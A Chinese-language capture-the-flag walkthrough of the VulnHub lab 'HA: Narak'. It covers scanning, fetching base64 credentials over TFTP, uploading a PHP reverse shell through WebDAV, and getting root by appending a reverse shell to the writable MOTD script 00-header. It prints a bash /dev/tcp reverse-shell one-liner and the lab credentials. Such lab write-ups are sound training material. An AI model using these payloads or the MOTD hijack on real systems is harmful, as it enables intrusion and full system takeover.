- Name: HA: Narak
- Date release: 23 Sep 2020
- Author: Hacking Articles
- Series: HA
- Download (Mirror): https://download.vulnhub.com/ha/narak.ova
对于vulnhub中的靶机,我们都需先下载镜像,然后导入VM,并将网络连接改为NAT模式。首先我们再来看一下靶机渗透的步骤:信息收集-漏洞分析-漏洞利用-提权。基本都是这四个步骤,接下来开始我们今天的靶机渗透吧 !
信息收集
主机发现
端口扫描
有SSH服务。后续可以实现远程登陆
目录扫描
漏洞扫描
总结一下扫描结果:
扫描结果显示了开放的端口以及相关的服务。
端口22/tcp是开放的,表示SSH服务在该端口上运行。
端口80/tcp也是开放的,表示HTTP服务在该端口上运行。
此外,扫描还提供了一些有关HTTP服务的信息:
_http-stored-xss: 未发现存储型XSS漏洞。
_http-internal-ip-disclosure: 发现了内部IP泄露,IP地址为127.0.1.1。
_http-dombased-xss: 未发现基于DOM的XSS漏洞。
_http-csrf: 发现了一些可能存在CSRF(跨站请求伪造)漏洞的路径和表单信息。其中,路径为http://192.168.11.163:80/,表单action为images/666.jpg。
_http-enum: 扫描发现了一些可能有趣的目录和文件,如/images/(具有Apache/2.4.29 (Ubuntu)服务器的目录列表)和/webdav/(需要身份验证的目录)
漏洞分析
打开登陆页面:192.168.11.163
没有什么发现。再登陆一下刚刚扫描的目录
需要用户名及密码,现在目标就是寻找websav目录的凭据了。我们信息收集仅仅爆破了目录,其中文件没有爆破。接下来我们爆破一下文件,看看能否发现什么关键线索。这里我们使用gobuser工具。-w后跟词表的路径。-x参数后添加一些后缀名,包含可能的文件,比如rar/zip/txt/php等。-u后跟靶机ip地址。
其中有index.html和tips.txt请求已经成功。其中index.html就是初始页面,所以我们就来看一下tips.txt。那么用kali使用curl访问一下
提示我们通往narak的门的线索可以在creds.txt找到,但是creds.txt在哪里呢?难道也是在web目录可以直接访问的吗?但是我们已经看了爆破出来的目录和文件,这个又在哪里呢?是不是在信息收集部分中漏掉了什么重要信息呢?莫非是nmap端口扫描的结果有误或者遗漏了什么?比如有可能遗漏了某些开放的UDP端口。
先来探测一些比较常见的UDP端口是否开放。其中"--top-ports 20":这个选项指定只扫描前20个常用端口。
发现了tftp端口69开放,这是一个简单文件传输协议,用于在计算机网络中进行文件传输。与FTP协议不同的是,TFTP传输文件时不需要用户进行登录。它只能从文件服务器上下载或上传文件,不能列出目录。用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。
那我们试试使用tftp协议,从靶机下载creds.txt。
漏洞利用
直接用tftp后接靶机地址即可连接靶机,
使用get creds.txt这个命令将他下载下来,我们输入quit退出tftp,然后查看这个creds.txt,貌似是个base64编码,我们解码一下
成功拿到了用户名及密码。这也可能是webdav目录的访问凭据!
回到webdav页面:输入用户名yamdoot,密码Swarg,可以进入到如下的页面
进来之后可以看到WebDAV,WebDAV 基于 HTTP 协议的通信协议,允许客户端发布、锁定和管理 Web 上的资源,那么我们现在就是企图获取webdav的权限,据此拿到初始shell。
davtest是一个文件上传漏洞的检测和验证工具,而cadaver作为一个命令行形式的WEBDAV客户端程序,可以对相应服务器进行任何操作
此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限,可以看到上传的文件类型如下:
基本上都可以上传,再看一下执行权限:
发现是可以执行php文件的,因此我们可以尝试上传php类型的反弹shell,先编写一个shell.php,这里ip写的是kali的。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.11.128/1234 0>&1'"); ?>
然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:
回到浏览器,可以看到我们上传的shell,那个DavTestDir_是我们刚刚用testdav工具尝试上传的目录:
此时我们开启nc监听1234端口,然后访问shell.php,即可触发反弹shell
提权
先用sudo -l查看有什么可以利用的二进制文件
我们需要寻找有没有一些ssh登录的凭据或是可以利用的提权文件,最终通过查找可写的文件发现了一些端倪:
发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,先来查看这个user.password,如下:
这个是我们前面找到的webdav的登录凭据,不是我们要找的ssh凭据。查看hell.sh:
看到一行奇怪的文字,是一种叫brainfuck的编程语言,用beef工具进行解释
这很可能是ssh的一个密码,那么是哪个用户名呢?我们可以查看/etc/passwd,寻找哪些账户有shell环境:
可以发现有narak,yamdoot,inferno三个用户,依次尝试一下就可以发现chitragupt是用户inferno的ssh密码,连接一下
先查看inferno这个用户当前目录有啥,看到有一个user.txt,打开看看,找到第一个flag
下面的目标就是提权到root了。sudo -l也是此路不通
我们尝试利用一些root高权限的工具/可执行文件/脚本等实现提权。最终发现了一些能够利用的具有可写权限的文件:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
我们先进入/etc/update-motd.d/,然后查看相关文件的权限:
MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell,我们先查看一下这个文档:
然后我们通过vi工具编辑,或通过echo追加的方式,在其中添加反弹shell代码:
然后在kali中nc监听4444端口,发现提权成功
切换到root目录下,看到root.txt,找到第二个flag
总结
在这次靶机渗透过程中,走到漏洞分析阶段路就断了,发现在信息收集部分可能遗漏掉一些重要信息,最后又重点扫描了一些常见的UDP端口,最后扫出来了一个69端口。然后就利用这个服务找到了一个用户名及其密码,成功访问webdav。然后使用davtest测试webdav可以上传和执行哪些文件,发现可以上传并执行php,利用cadaver客户端上传反弹shell的php文件并访问shell.php,然后通过寻找敏感文件初步提权,找到brainfuck代码,用beef工具解码,发现了用户名inferno的ssh密码。最后就利用可写文件进行提权,在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell。这就是整个靶机渗透的过程!如有问题,希望大家来评论区帮忙指出。